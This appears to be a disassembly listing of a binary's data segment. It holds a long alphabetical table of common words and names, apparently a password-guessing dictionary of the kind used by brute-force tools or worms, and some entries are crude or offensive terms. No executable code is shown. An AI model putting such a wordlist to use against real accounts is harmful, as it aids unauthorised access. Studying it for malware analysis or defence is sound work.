aExplore db 'explore',0 ; DATA XREF: seg002:00423B18o
aExplode db 'explode',0 ; DATA XREF: seg002:00423B14o
aExpert db 'expert',0 ; DATA XREF: seg002:00423B10o
align 4
aEvelyn db 'evelyn',0 ; DATA XREF: seg002:00423B0Co
align 4
aEuclid db 'euclid',0 ; DATA XREF: seg002:00423B08o
align 4
aEternity db 'eternity',0 ; DATA XREF: seg002:00423B04o
align 4
aEstate db 'estate',0 ; DATA XREF: seg002:00423B00o
align 10h
aEstablis db 'establis',0 ; DATA XREF: seg002:00423AFCo
align 4
aErsatz db 'ersatz',0 ; DATA XREF: seg002:00423AF8o
align 4
aErotic db 'erotic',0 ; DATA XREF: seg002:00423AF4o
align 4
aErin db 'erin',0 ; DATA XREF: seg002:00423AF0o
align 4
aErika db 'erika',0 ; DATA XREF: seg002:00423AECo
align 4
aErica db 'erica',0 ; DATA XREF: seg002:00423AE8o
align 4
aEric db 'eric',0 ; DATA XREF: seg002:00423AE4o
align 4
aErenity db 'erenity',0 ; DATA XREF: seg002:00423AE0o
aEnzyme db 'enzyme',0 ; DATA XREF: seg002:00423ADCo
align 4
aEnterpri db 'enterpri',0 ; DATA XREF: seg002:00423AD8o
align 4
aEnter db 'enter',0 ; DATA XREF: seg002:00423AD4o
align 10h
aEnglish db 'english',0 ; DATA XREF: seg002:00423AD0o
aEngland db 'england',0 ; DATA XREF: seg002:00423ACCo
aEngineer db 'engineer',0 ; DATA XREF: seg002:00423AC8o
align 4
aEngine db 'engine',0 ; DATA XREF: seg002:00423AC4o
align 4
aEnemy db 'enemy',0 ; DATA XREF: seg002:00423AC0o
align 4
aEmmanuel db 'emmanuel',0 ; DATA XREF: seg002:00423ABCo
align 4
aEmily db 'emily',0 ; DATA XREF: seg002:00423AB8o
align 10h
aEmerald db 'emerald',0 ; DATA XREF: seg002:00423AB4o
aEmail db 'email',0 ; DATA XREF: seg002:00423AB0o
align 10h
aEllen db 'ellen',0 ; DATA XREF: seg002:00423AACo
align 4
aElizabet db 'elizabet',0 ; DATA XREF: seg002:00423AA8o
align 4
aElephant db 'elephant',0 ; DATA XREF: seg002:00423AA4o
align 10h
aElectron db 'electron',0 ; DATA XREF: seg002:00423AA0o
align 4
aElanor db 'elanor',0 ; DATA XREF: seg002:00423A9Co
align 4
aElaine db 'elaine',0 ; DATA XREF: seg002:00423A98o
align 4
aEinstein db 'einstein',0 ; DATA XREF: seg002:00423A94o
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: seg002:00423A90o
align 4
aEileen db 'eileen',0 ; DATA XREF: seg002:00423A8Co
align 4
aEiderdow db 'eiderdow',0 ; DATA XREF: seg002:00423A88o
align 4
aEgghead db 'egghead',0 ; DATA XREF: seg002:00423A84o
aEdwina db 'edwina',0 ; DATA XREF: seg002:00423A80o
align 4
aEdwin db 'edwin',0 ; DATA XREF: seg002:00423A7Co
align 10h
aEducatio db 'educatio',0 ; DATA XREF: seg002:00423A78o
align 4
aEducation db 'education',0 ; DATA XREF: seg002:00423A74o
align 4
aEdition db 'edition',0 ; DATA XREF: seg002:00423A70o
aEdit db 'edit',0 ; DATA XREF: seg002:00423A6Co
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: seg002:00423A68o
align 4
aEdges db 'edges',0 ; DATA XREF: seg002:00423A64o
align 4
aEddie db 'eddie',0 ; DATA XREF: seg002:00423A60o
align 4
aEcho db 'echo',0 ; DATA XREF: seg002:00423A5Co
align 4
aEatme db 'eatme',0 ; DATA XREF: seg002:00423A58o
align 4
aEasy db 'easy',0 ; DATA XREF: seg002:00423A54o
align 4
aEasier db 'easier',0 ; DATA XREF: seg002:00423A50o
align 4
aEarth db 'earth',0 ; DATA XREF: seg002:00423A4Co
align 4
aEagle db 'eagle',0 ; DATA XREF: seg002:00423A48o
align 4
aEager db 'eager',0 ; DATA XREF: seg002:00423A44o
align 4
aDyke db 'dyke',0 ; DATA XREF: seg002:00423A40o
align 4
aDungeon db 'dungeon',0 ; DATA XREF: seg002:00423A3Co
aDuncan db 'duncan',0 ; DATA XREF: seg002:00423A38o
align 4
aDulce db 'dulce',0 ; DATA XREF: seg002:00423A34o
align 4
aDuke db 'duke',0 ; DATA XREF: seg002:00423A30o
align 4
aDuelist db 'duelist',0 ; DATA XREF: seg002:00423A2Co
aDude db 'dude',0 ; DATA XREF: seg002:00423A28o
align 4
aDuck db 'duck',0 ; DATA XREF: seg002:00423A24o
align 4
aDrought db 'drought',0 ; DATA XREF: seg002:00423A20o
aDrive db 'drive',0 ; DATA XREF: seg002:00423A1Co
align 4
aDrdoom db 'drdoom',0 ; DATA XREF: seg002:00423A18o
align 4
aDragon db 'dragon',0 ; DATA XREF: seg002:00423A14o
align 4
aDownload db 'download',0 ; DATA XREF: seg002:00423A10o
align 4
aDope db 'dope',0 ; DATA XREF: seg002:00423A0Co
align 10h
aDoors db 'doors',0 ; DATA XREF: seg002:00423A08o
align 4
aDoor db 'door',0 ; DATA XREF: seg002:00423A04o
align 10h
aDoonesbu db 'doonesbu',0 ; DATA XREF: seg002:00423A00o
align 4
aDoomsday db 'doomsday',0 ; DATA XREF: seg002:004239FCo
align 4
aDoomii db 'doomii',0 ; DATA XREF: seg002:004239F8o
align 10h
aDoom2 db 'doom2',0 ; DATA XREF: seg002:004239F4o
align 4
aDoom db 'doom',0 ; DATA XREF: seg002:004239F0o
align 10h
aDong db 'dong',0 ; DATA XREF: seg002:004239ECo
align 4
aDollar db 'dollar',0 ; DATA XREF: seg002:004239E8o
align 10h
aDoctor db 'doctor',0 ; DATA XREF: seg002:004239E4o
align 4
aDisplay db 'display',0 ; DATA XREF: seg002:004239E0o
aDisney db 'disney',0 ; DATA XREF: seg002:004239DCo
align 4
aDiskette db 'diskette',0 ; DATA XREF: seg002:004239D8o
align 4
aDisk_0 db 'disk',0 ; DATA XREF: seg002:004239D4o
align 4
aDiscover db 'discover',0 ; DATA XREF: seg002:004239D0o
align 4
aDisclose db 'disclose',0 ; DATA XREF: seg002:004239CCo
align 4
aDiscipli db 'discipli',0 ; DATA XREF: seg002:004239C8o
align 10h
aDisc db 'disc',0 ; DATA XREF: seg002:004239C4o
align 4
aDirty db 'dirty',0 ; DATA XREF: seg002:004239C0o
align 10h
aDirector db 'director',0 ; DATA XREF: seg002:004239BCo
align 4
aDirect db 'direct',0 ; DATA XREF: seg002:004239B8o
align 4
aDipshit db 'dipshit',0 ; DATA XREF: seg002:004239B4o
aDinosaur db 'dinosaur',0 ; DATA XREF: seg002:004239B0o
align 4
aDigital db 'digital',0 ; DATA XREF: seg002:004239ACo
aDieter db 'dieter',0 ; DATA XREF: seg002:004239A8o
align 4
aDiet db 'diet',0 ; DATA XREF: seg002:004239A4o
align 10h
aDiehard db 'diehard',0 ; DATA XREF: seg002:004239A0o
aDick db 'dick',0 ; DATA XREF: seg002:0042399Co
align 10h
aDice db 'dice',0 ; DATA XREF: seg002:00423998o
align 4
aDiane db 'diane',0 ; DATA XREF: seg002:00423994o
align 10h
aDiana db 'diana',0 ; DATA XREF: seg002:00423990o
align 4
aDiamond db 'diamond',0 ; DATA XREF: seg002:0042398Co
aDial db 'dial',0 ; DATA XREF: seg002:00423988o
align 4
aDevice db 'device',0 ; DATA XREF: seg002:00423984o
align 10h
aDevelop db 'develop',0 ; DATA XREF: seg002:00423980o
aDesperat db 'desperat',0 ; DATA XREF: seg002:0042397Co
align 4
aDesktop db 'desktop',0 ; DATA XREF: seg002:00423978o
aDesk db 'desk',0 ; DATA XREF: seg002:00423974o
align 4
aDesiree db 'desiree',0 ; DATA XREF: seg002:00423970o
aDennis db 'dennis',0 ; DATA XREF: seg002:0042396Co
align 4
aDenise db 'denise',0 ; DATA XREF: seg002:00423968o
align 4
aDemocrat db 'democrat',0 ; DATA XREF: seg002:00423964o
align 4
aDeluge db 'deluge',0 ; DATA XREF: seg002:00423960o
align 10h
aDelta db 'delta',0 ; DATA XREF: seg002:0042395Co
align 4
aDefoe db 'defoe',0 ; DATA XREF: seg002:00423958o
align 10h
aDefault_0 db 'DEFAULT',0 ; DATA XREF: seg002:00423954o
aDeck db 'deck',0 ; DATA XREF: seg002:0042394Co
align 10h
aDecember db 'december',0 ; DATA XREF: seg002:00423948o
align 4
aDebug db 'debug',0 ; DATA XREF: seg002:00423944o
align 4
aDeborah db 'deborah',0 ; DATA XREF: seg002:00423940o
aDebbie db 'debbie',0 ; DATA XREF: seg002:0042393Co
align 4
aDeathsta db 'deathsta',0 ; DATA XREF: seg002:00423938o
align 10h
aDead db 'dead',0 ; DATA XREF: seg002:00423934o
align 4
aDawn db 'dawn',0 ; DATA XREF: seg002:00423930o
align 10h
aDave db 'dave',0 ; DATA XREF: seg002:0042392Co
align 4
aData db 'data',0 ; DATA XREF: seg002:00423928o
align 10h
aDarkaven db 'darkaven',0 ; DATA XREF: seg002:00423924o
align 4
aDark db 'dark',0 ; DATA XREF: seg002:00423920o
align 4
aDapper db 'dapper',0 ; DATA XREF: seg002:0042391Co
align 4
aDanny db 'danny',0 ; DATA XREF: seg002:00423918o
align 4
aDanielle db 'danielle',0 ; DATA XREF: seg002:00423914o
align 10h
aDaniel db 'daniel',0 ; DATA XREF: seg002:00423910o
align 4
aDancer db 'dancer',0 ; DATA XREF: seg002:0042390Co
align 10h
aDana db 'dana',0 ; DATA XREF: seg002:00423908o
align 4
aDaisy db 'daisy',0 ; DATA XREF: seg002:00423904o
align 10h
aDaemon db 'daemon',0 ; DATA XREF: seg002:00423900o
align 4
aCynthia db 'cynthia',0 ; DATA XREF: seg002:004238FCo
aCyberspa db 'cyberspa',0 ; DATA XREF: seg002:004238F8o
align 4
aCyberpun db 'cyberpun',0 ; DATA XREF: seg002:004238F4o
align 4
aCyber db 'cyber',0 ; DATA XREF: seg002:004238F0o
align 10h
aCustomer db 'customer',0 ; DATA XREF: seg002:004238ECo
align 4
aCunt db 'cunt',0 ; DATA XREF: seg002:004238E8o
align 4
aCshrc db 'cshrc',0 ; DATA XREF: seg002:004238E4o
align 4
aCrystal db 'crystal',0 ; DATA XREF: seg002:004238E0o
; seg002:0041EE55o
aCristina db 'cristina',0 ; DATA XREF: seg002:004238DCo
align 10h
aCriminal db 'criminal',0 ; DATA XREF: seg002:004238D8o
align 4
aCrime db 'crime',0 ; DATA XREF: seg002:004238D4o
align 4
aCretin db 'cretin',0 ; DATA XREF: seg002:004238D0o
align 4
aCreosote db 'creosote',0 ; DATA XREF: seg002:004238CCo
align 4
aCredit db 'credit',0 ; DATA XREF: seg002:004238C8o
align 10h
aCreature db 'creature',0 ; DATA XREF: seg002:004238C4o
align 4
aCreation db 'creation',0 ; DATA XREF: seg002:004238C0o
align 4
aCreate db 'create',0 ; DATA XREF: seg002:004238BCo
align 10h
aCream db 'cream',0 ; DATA XREF: seg002:004238B8o
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: seg002:004238B4o
align 4
aCrack db 'crack',0 ; DATA XREF: seg002:004238B0o
align 4
aCowboy db 'cowboy',0 ; DATA XREF: seg002:004238ACo
align 4
aCouscous db 'couscous',0 ; DATA XREF: seg002:004238A8o
align 10h
aCountry db 'country',0 ; DATA XREF: seg002:004238A4o
aCounters db 'counters',0 ; DATA XREF: seg002:004238A0o
align 4
aCorrect db 'correct',0 ; DATA XREF: seg002:0042389Co
aCorneliu db 'corneliu',0 ; DATA XREF: seg002:00423898o
align 4
aCopy db 'copy',0 ; DATA XREF: seg002:00423894o
align 10h
aCops db 'cops',0 ; DATA XREF: seg002:00423890o
align 4
aCopper db 'copper',0 ; DATA XREF: seg002:0042388Co
align 10h
aCooper db 'cooper',0 ; DATA XREF: seg002:00423888o
align 4
aCool db 'cool',0 ; DATA XREF: seg002:00423884o
align 10h
aCookie db 'cookie',0 ; DATA XREF: seg002:00423880o
align 4
aCookbook db 'cookbook',0 ; DATA XREF: seg002:0042387Co
align 4
aCook db 'cook',0 ; DATA XREF: seg002:00423878o
align 4
aContinue db 'continue',0 ; DATA XREF: seg000:0040AAFEo
; seg002:00423874o
align 4
aConsole db 'console',0 ; DATA XREF: seg002:00423870o
aConserva db 'conserva',0 ; DATA XREF: seg002:0042386Co
align 4
aConnie db 'connie',0 ; DATA XREF: seg002:00423868o
align 4
aCondom db 'condom',0 ; DATA XREF: seg002:00423860o
align 4
aCondo db 'condo',0 ; DATA XREF: seg002:0042385Co
align 4
aComrades db 'comrades',0 ; DATA XREF: seg002:00423858o
align 10h
aComrade db 'comrade',0 ; DATA XREF: seg002:00423854o
aComputin db 'computin',0 ; DATA XREF: seg002:00423850o
align 4
aCompany db 'company',0 ; DATA XREF: seg002:0042384Co
aCommrade db 'commrade',0 ; DATA XREF: seg002:00423848o
align 4
aCommit db 'commit',0 ; DATA XREF: seg002:00423844o
align 10h
aComics db 'comics',0 ; DATA XREF: seg002:00423840o
align 4
aCombat db 'combat',0 ; DATA XREF: seg002:0042383Co
align 10h
aColor db 'color',0 ; DATA XREF: seg002:00423838o
align 4
aCollins db 'collins',0 ; DATA XREF: seg002:00423834o
aCold db 'cold',0 ; DATA XREF: seg002:00423830o
align 4
aCola db 'cola',0 ; DATA XREF: seg002:0042382Co
align 10h
aCoke db 'coke',0 ; DATA XREF: seg002:00423828o
align 4
aCoin db 'coin',0 ; DATA XREF: seg002:00423824o
align 10h
aCoffee db 'coffee',0 ; DATA XREF: seg002:00423820o
align 4
aCodeword db 'codeword',0 ; DATA XREF: seg002:0042381Co
align 4
aCodename db 'codename',0 ; DATA XREF: seg002:00423818o
align 10h
aCode db 'code',0 ; DATA XREF: seg002:00423814o
align 4
aCock db 'cock',0 ; DATA XREF: seg002:00423810o
align 10h
aCocainco db 'cocainco',0 ; DATA XREF: seg002:0042380Co
align 4
aCocacola db 'cocacola',0 ; DATA XREF: seg002:00423808o
align 4
aCoast db 'coast',0 ; DATA XREF: seg002:00423804o
align 10h
aClusters db 'clusters',0 ; DATA XREF: seg002:00423800o
align 4
aCluster db 'cluster',0 ; DATA XREF: seg002:004237FCo
aClinton db 'clinton',0 ; DATA XREF: seg002:004237F8o
aCleavage db 'cleavage',0 ; DATA XREF: seg002:004237F4o
align 4
aClaymore db 'claymore',0 ; DATA XREF: seg002:004237F0o
align 4
aClaudia db 'claudia',0 ; DATA XREF: seg002:004237ECo
aClassic db 'classic',0 ; DATA XREF: seg002:004237E8o
aClasses db 'classes',0 ; DATA XREF: seg002:004237E4o
aClass db 'class',0 ; DATA XREF: seg002:004237E0o
align 4
aCindy db 'cindy',0 ; DATA XREF: seg002:004237DCo
align 4
aCigarett db 'cigarett',0 ; DATA XREF: seg002:004237D8o
align 4
aCigar db 'cigar',0 ; DATA XREF: seg002:004237D4o
align 10h
aChristy db 'christy',0 ; DATA XREF: seg002:004237D0o
aChristin db 'christin',0 ; DATA XREF: seg002:004237CCo
align 4
aChris db 'chris',0 ; DATA XREF: seg002:004237C8o
align 4
aChip db 'chip',0 ; DATA XREF: seg002:004237C4o
align 4
aChester db 'chester',0 ; DATA XREF: seg002:004237C0o
aChess db 'chess',0 ; DATA XREF: seg002:004237BCo
align 4
aChemistr db 'chemistr',0 ; DATA XREF: seg002:004237B8o
align 10h
aChem db 'chem',0 ; DATA XREF: seg002:004237B4o
align 4
aChat db 'chat',0 ; DATA XREF: seg002:004237B0o
align 10h
aCharon db 'charon',0 ; DATA XREF: seg002:004237ACo
align 4
aCharming db 'charming',0 ; DATA XREF: seg002:004237A8o
align 4
aCharlie db 'charlie',0 ; DATA XREF: seg002:004237A4o
aCharles db 'charles',0 ; DATA XREF: seg002:004237A0o
aCharity db 'charity',0 ; DATA XREF: seg002:0042379Co
aChange db 'change',0 ; DATA XREF: seg002:00423798o
align 4
aCerulean db 'cerulean',0 ; DATA XREF: seg002:00423794o
align 10h
aCeltics db 'celtics',0 ; DATA XREF: seg002:00423790o
aCeltic db 'celtic',0 ; DATA XREF: seg002:0042378Co
align 10h
aCelt db 'celt',0 ; DATA XREF: seg002:00423788o
align 4
aCecily db 'cecily',0 ; DATA XREF: seg002:00423784o
align 10h
aCayuga db 'cayuga',0 ; DATA XREF: seg002:00423780o
align 4
aCave db 'cave',0 ; DATA XREF: seg002:0042377Co
align 10h
aCathy db 'cathy',0 ; DATA XREF: seg002:00423778o
align 4
aCatholic db 'catholic',0 ; DATA XREF: seg002:00423774o
align 4
aCatherin db 'catherin',0 ; DATA XREF: seg002:00423770o
align 10h
aCastle db 'castle',0 ; DATA XREF: seg002:0042376Co
align 4
aCash db 'cash',0 ; DATA XREF: seg002:00423768o
align 10h
aCascades db 'cascades',0 ; DATA XREF: seg002:00423764o
align 4
aCarson db 'carson',0 ; DATA XREF: seg002:00423760o
align 4
aCarrie db 'carrie',0 ; DATA XREF: seg002:0042375Co
align 4
aCaroline db 'caroline',0 ; DATA XREF: seg002:00423758o
align 4
aCarolina db 'carolina',0 ; DATA XREF: seg002:00423754o
align 4
aCarole db 'carole',0 ; DATA XREF: seg002:00423750o
align 4
aCarol db 'carol',0 ; DATA XREF: seg002:0042374Co
align 4
aCarmen db 'carmen',0 ; DATA XREF: seg002:00423748o
align 4
aCarla db 'carla',0 ; DATA XREF: seg002:00423744o
align 4
aCaren db 'caren',0 ; DATA XREF: seg002:00423740o
align 4
aCardinal db 'cardinal',0 ; DATA XREF: seg002:0042373Co
align 4
aCard db 'card',0 ; DATA XREF: seg002:00423738o
align 10h
aCapture db 'capture',0 ; DATA XREF: seg002:00423734o
aCaptain db 'captain',0 ; DATA XREF: seg002:00423730o
aCantor db 'cantor',0 ; DATA XREF: seg002:0042372Co
align 4
aCandy db 'candy',0 ; DATA XREF: seg002:00423728o
align 10h
aCandi db 'candi',0 ; DATA XREF: seg002:00423724o
align 4
aCamping db 'camping',0 ; DATA XREF: seg002:00423720o
aCampanil db 'campanil',0 ; DATA XREF: seg002:0042371Co
align 4
aCamille db 'camille',0 ; DATA XREF: seg002:00423718o
aCaliforn db 'californ',0 ; DATA XREF: seg002:00423714o
align 10h
aButthead db 'butthead',0 ; DATA XREF: seg002:00423710o
align 4
aButt db 'butt',0 ; DATA XREF: seg002:0042370Co
align 4
aButch db 'butch',0 ; DATA XREF: seg002:00423708o
align 4
aBurn db 'burn',0 ; DATA XREF: seg002:00423704o
align 4
aBurgess db 'burgess',0 ; DATA XREF: seg002:00423700o
aBung db 'bung',0 ; DATA XREF: seg002:004236FCo
align 4
aBumbling db 'bumbling',0 ; DATA XREF: seg002:004236F8o
align 10h
aBullshit db 'bullshit',0 ; DATA XREF: seg002:004236F4o
align 4
aBulls db 'bulls',0 ; DATA XREF: seg002:004236F0o
align 4
aBrutefor db 'brutefor',0 ; DATA XREF: seg002:004236ECo
align 10h
aBrute db 'brute',0 ; DATA XREF: seg002:004236E8o
align 4
aBrunette db 'brunette',0 ; DATA XREF: seg002:004236E4o
align 4
aBrothel db 'brothel',0 ; DATA XREF: seg002:004236E0o
aBroadway db 'broadway',0 ; DATA XREF: seg002:004236DCo
align 4
aBridget db 'bridget',0 ; DATA XREF: seg002:004236D8o
aBrian db 'brian',0 ; DATA XREF: seg002:004236D4o
align 4
aBrenda db 'brenda',0 ; DATA XREF: seg002:004236D0o
align 10h
aBreast db 'breast',0 ; DATA XREF: seg002:004236CCo
align 4
aBreak db 'break',0 ; DATA XREF: seg002:004236C8o
align 10h
aBravo db 'bravo',0 ; DATA XREF: seg002:004236C4o
align 4
aBrandy db 'brandy',0 ; DATA XREF: seg002:004236C0o
align 10h
aBrandi db 'brandi',0 ; DATA XREF: seg002:004236BCo
align 4
aBradley db 'bradley',0 ; DATA XREF: seg002:004236B8o
aBoyscout db 'boyscout',0 ; DATA XREF: seg002:004236B4o
align 4
aBorn db 'born',0 ; DATA XREF: seg002:004236B0o
align 4
aBook db 'book',0 ; DATA XREF: seg002:004236ACo
align 4
aBoobs db 'boobs',0 ; DATA XREF: seg002:004236A8o
align 4
aBoob db 'boob',0 ; DATA XREF: seg002:004236A4o
align 4
aBoner db 'boner',0 ; DATA XREF: seg002:004236A0o
align 4
aBomb db 'bomb',0 ; DATA XREF: seg002:0042369Co
align 4
aBoard db 'board',0 ; DATA XREF: seg002:00423698o
align 4
aBlues db 'blues',0 ; DATA XREF: seg002:00423694o
align 4
aBlue db 'blue',0 ; DATA XREF: seg002:00423690o
align 4
aBlowjob db 'blowjob',0 ; DATA XREF: seg002:0042368Co
aBlow db 'blow',0 ; DATA XREF: seg002:00423688o
align 4
aBloodaxe db 'bloodaxe',0 ; DATA XREF: seg002:00423684o
align 10h
aBlood db 'blood',0 ; DATA XREF: seg002:00423680o
align 4
aBlondie db 'blondie',0 ; DATA XREF: seg002:0042367Co
aBlonde db 'blonde',0 ; DATA XREF: seg002:00423678o
align 4
aBlack db 'black',0 ; DATA XREF: seg002:00423674o
align 10h
aBitnet db 'bitnet',0 ; DATA XREF: seg002:00423670o
align 4
aBitmap db 'bitmap',0 ; DATA XREF: seg002:0042366Co
align 10h
aBitch db 'bitch',0 ; DATA XREF: seg002:00423668o
align 4
aBishop db 'bishop',0 ; DATA XREF: seg002:00423664o
align 10h
aBird db 'bird',0 ; DATA XREF: seg002:00423660o
align 4
aBios db 'bios',0 ; DATA XREF: seg002:0042365Co
align 10h
aBinary db 'binary',0 ; DATA XREF: seg002:00423658o
align 4
aBill db 'bill',0 ; DATA XREF: seg002:00423654o
align 10h
aBigfoot db 'bigfoot',0 ; DATA XREF: seg002:00423650o
aBicamera db 'bicamera',0 ; DATA XREF: seg002:0042364Co
align 4
aBible db 'bible',0 ; DATA XREF: seg002:00423648o
align 4
aBeverly db 'beverly',0 ; DATA XREF: seg002:00423644o
aBetty db 'betty',0 ; DATA XREF: seg002:00423640o
align 4
aBetsie db 'betsie',0 ; DATA XREF: seg002:0042363Co
align 4
aBeth db 'beth',0 ; DATA XREF: seg002:00423638o
align 4
aBeta db 'beta',0 ; DATA XREF: seg002:00423634o
align 4
aBeryl db 'beryl',0 ; DATA XREF: seg002:00423630o
align 4
aBerliner db 'berliner',0 ; DATA XREF: seg002:0042362Co
align 4
aBerlin db 'berlin',0 ; DATA XREF: seg002:00423628o
align 10h
aBerkeley db 'berkeley',0 ; DATA XREF: seg002:00423624o
align 4
aBeowulf db 'beowulf',0 ; DATA XREF: seg002:00423620o
aBenz db 'benz',0 ; DATA XREF: seg002:0042361Co
align 4
aBeloved db 'beloved',0 ; DATA XREF: seg002:00423618o
aBell db 'bell',0 ; DATA XREF: seg002:00423614o
align 4
aBehead db 'behead',0 ; DATA XREF: seg002:00423610o
align 4
aBegin db 'begin',0 ; DATA XREF: seg002:0042360Co
align 4
aBeethove db 'beethove',0 ; DATA XREF: seg002:00423608o
align 4
aBecky db 'becky',0 ; DATA XREF: seg002:00423604o
align 10h
aBeaver db 'beaver',0 ; DATA XREF: seg002:00423600o
align 4
aBeauty db 'beauty',0 ; DATA XREF: seg002:004235FCo
align 10h
aBeater db 'beater',0 ; DATA XREF: seg002:004235F8o
align 4
aBeast db 'beast',0 ; DATA XREF: seg002:004235F4o
align 10h
aBear db 'bear',0 ; DATA XREF: seg002:004235F0o
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: seg002:004235ECo
align 4
aBeach db 'beach',0 ; DATA XREF: seg002:004235E8o
align 4
aBatman db 'batman',0 ; DATA XREF: seg002:004235E4o
align 4
aBatch db 'batch',0 ; DATA XREF: seg002:004235E0o
align 4
aBassoon db 'bassoon',0 ; DATA XREF: seg002:004235DCo
aBass db 'bass',0 ; DATA XREF: seg002:004235D8o
align 4
aBasic db 'basic',0 ; DATA XREF: seg002:004235D4o
align 4
aBaseball db 'baseball',0 ; DATA XREF: seg002:004235D0o
align 10h
aBartman db 'bartman',0 ; DATA XREF: seg002:004235CCo
aBart db 'bart',0 ; DATA XREF: seg002:004235C8o
align 10h
aBaritone db 'baritone',0 ; DATA XREF: seg002:004235C4o
align 4
aBarf db 'barf',0 ; DATA XREF: seg002:004235C0o
align 4
aBare db 'bare',0 ; DATA XREF: seg002:004235BCo
align 4
aBarber db 'barber',0 ; DATA XREF: seg002:004235B8o
align 4
aBarbara db 'barbara',0 ; DATA XREF: seg002:004235B4o
aBanks db 'banks',0 ; DATA XREF: seg002:004235B0o
align 4
aBank db 'bank',0 ; DATA XREF: seg002:004235ACo
align 4
aBandit db 'bandit',0 ; DATA XREF: seg002:004235A8o
align 4
aBananas db 'bananas',0 ; DATA XREF: seg002:004235A4o
aBanana db 'banana',0 ; DATA XREF: seg002:004235A0o
align 4
aBall db 'ball',0 ; DATA XREF: seg002:0042359Co
align 4
aBailey db 'bailey',0 ; DATA XREF: seg002:00423598o
align 4
aBadass db 'badass',0 ; DATA XREF: seg002:00423594o
align 4
aBackdoor db 'backdoor',0 ; DATA XREF: seg002:00423590o
align 4
aBacchus db 'bacchus',0 ; DATA XREF: seg002:0042358Co
aBaby db 'baby',0 ; DATA XREF: seg002:00423588o
align 4
aBabe db 'babe',0 ; DATA XREF: seg002:00423584o
align 10h
aAzure db 'azure',0 ; DATA XREF: seg002:00423580o
align 4
aAztecs db 'aztecs',0 ; DATA XREF: seg002:0042357Co
align 10h
aAuthoriz db 'authoriz',0 ; DATA XREF: seg002:00423578o
align 4
aAttack db 'attack',0 ; DATA XREF: seg002:00423574o
align 4
aAtom db 'atom',0 ; DATA XREF: seg002:00423570o
align 4
aAtmosphe db 'atmosphe',0 ; DATA XREF: seg002:0042356Co
align 4
aAthena db 'athena',0 ; DATA XREF: seg002:00423568o
align 10h
aAsshole db 'asshole',0 ; DATA XREF: seg002:00423564o
aAsian db 'asian',0 ; DATA XREF: seg002:00423560o
align 10h
aArtist db 'artist',0 ; DATA XREF: seg002:0042355Co
align 4
aArthur db 'arthur',0 ; DATA XREF: seg002:00423558o
align 10h
aArrow db 'arrow',0 ; DATA XREF: seg002:00423554o
align 4
aArmy db 'army',0 ; DATA XREF: seg002:00423550o
align 10h
aArlene db 'arlene',0 ; DATA XREF: seg002:0042354Co
align 4
aAriadne db 'ariadne',0 ; DATA XREF: seg002:00423548o
aAria db 'aria',0 ; DATA XREF: seg002:00423544o
align 4
aApril db 'april',0 ; DATA XREF: seg002:00423540o
align 10h
aApollo13 db 'apollo13',0 ; DATA XREF: seg002:0042353Co
align 4
aAnything db 'anything',0 ; DATA XREF: seg002:00423538o
align 4
aAnvils db 'anvils',0 ; DATA XREF: seg002:00423534o
align 10h
aAnthropo db 'anthropo',0 ; DATA XREF: seg002:00423530o
align 4
aAnthrax db 'anthrax',0 ; DATA XREF: seg002:0042352Co
aAnswer db 'answer',0 ; DATA XREF: seg002:00423528o
align 4
aAnonymou db 'anonymou',0 ; DATA XREF: seg002:00423524o
align 4
aAnon db 'anon',0 ; DATA XREF: seg002:00423520o
align 10h
aAnnette db 'annette',0 ; DATA XREF: seg002:0042351Co
aAnne db 'anne',0 ; DATA XREF: seg002:00423518o
align 10h
aAnna db 'anna',0 ; DATA XREF: seg002:00423514o
align 4
aAnita db 'anita',0 ; DATA XREF: seg002:00423510o
align 10h
aAnimals db 'animals',0 ; DATA XREF: seg002:0042350Co
aAnimal db 'animal',0 ; DATA XREF: seg002:00423508o
align 10h
aAngie db 'angie',0 ; DATA XREF: seg002:00423504o
align 4
aAngerine db 'angerine',0 ; DATA XREF: seg002:00423500o
align 4
aAngela db 'angela',0 ; DATA XREF: seg002:004234FCo
align 4
aAnfo db 'anfo',0 ; DATA XREF: seg002:004234F8o
align 4
aAndy db 'andy',0 ; DATA XREF: seg002:004234F4o
align 4
aAndromac db 'andromac',0 ; DATA XREF: seg002:004234F0o
align 4
aAndroid db 'android',0 ; DATA XREF: seg002:004234ECo
aAndrea db 'andrea',0 ; DATA XREF: seg002:004234E8o
align 4
aAnchor db 'anchor',0 ; DATA XREF: seg002:004234E4o
align 10h
aAnarchy db 'anarchy',0 ; DATA XREF: seg002:004234E0o
aAnarchis db 'anarchis',0 ; DATA XREF: seg002:004234DCo
align 4
aAnalog db 'analog',0 ; DATA XREF: seg002:004234D8o
align 4
aAnal db 'anal',0 ; DATA XREF: seg002:004234D4o
align 4
aAmorphou db 'amorphou',0 ; DATA XREF: seg002:004234D0o
align 10h
aAmerica db 'america',0 ; DATA XREF: seg002:004234CCo
aAmber db 'amber',0 ; DATA XREF: seg002:004234C8o
align 10h
aAmanda db 'amanda',0 ; DATA XREF: seg002:004234C4o
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: seg002:004234C0o
aAlphabet db 'alphabet',0 ; DATA XREF: seg002:004234BCo
align 4
aAllow db 'allow',0 ; DATA XREF: seg002:004234B8o
align 4
aAllison db 'allison',0 ; DATA XREF: seg002:004234B4o
aAlison db 'alison',0 ; DATA XREF: seg002:004234B0o
align 4
aAlisa db 'alisa',0 ; DATA XREF: seg002:004234ACo
align 4
aAlicia db 'alicia',0 ; DATA XREF: seg002:004234A8o
align 4
aAlice db 'alice',0 ; DATA XREF: seg002:004234A4o
align 4
aAliases db 'aliases',0 ; DATA XREF: seg002:004234A0o
aAlias db 'alias',0 ; DATA XREF: seg002:0042349Co
align 4
aAlgebra db 'algebra',0 ; DATA XREF: seg002:00423498o
aAlexande db 'alexande',0 ; DATA XREF: seg002:00423494o
align 10h
aAlex db 'alex',0 ; DATA XREF: seg002:00423490o
align 4
aAlert db 'alert',0 ; DATA XREF: seg002:0042348Co
align 10h
aAlbert db 'albert',0 ; DATA XREF: seg002:00423488o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: seg002:00423484o
align 4
aAlbany db 'albany',0 ; DATA XREF: seg002:00423480o
align 4
aAlaska db 'alaska',0 ; DATA XREF: seg002:0042347Co
align 4
aAirplane db 'airplane',0 ; DATA XREF: seg002:00423478o
align 10h
aAids db 'aids',0 ; DATA XREF: seg002:00423474o
align 4
aAerobics db 'aerobics',0 ; DATA XREF: seg002:00423470o
align 4
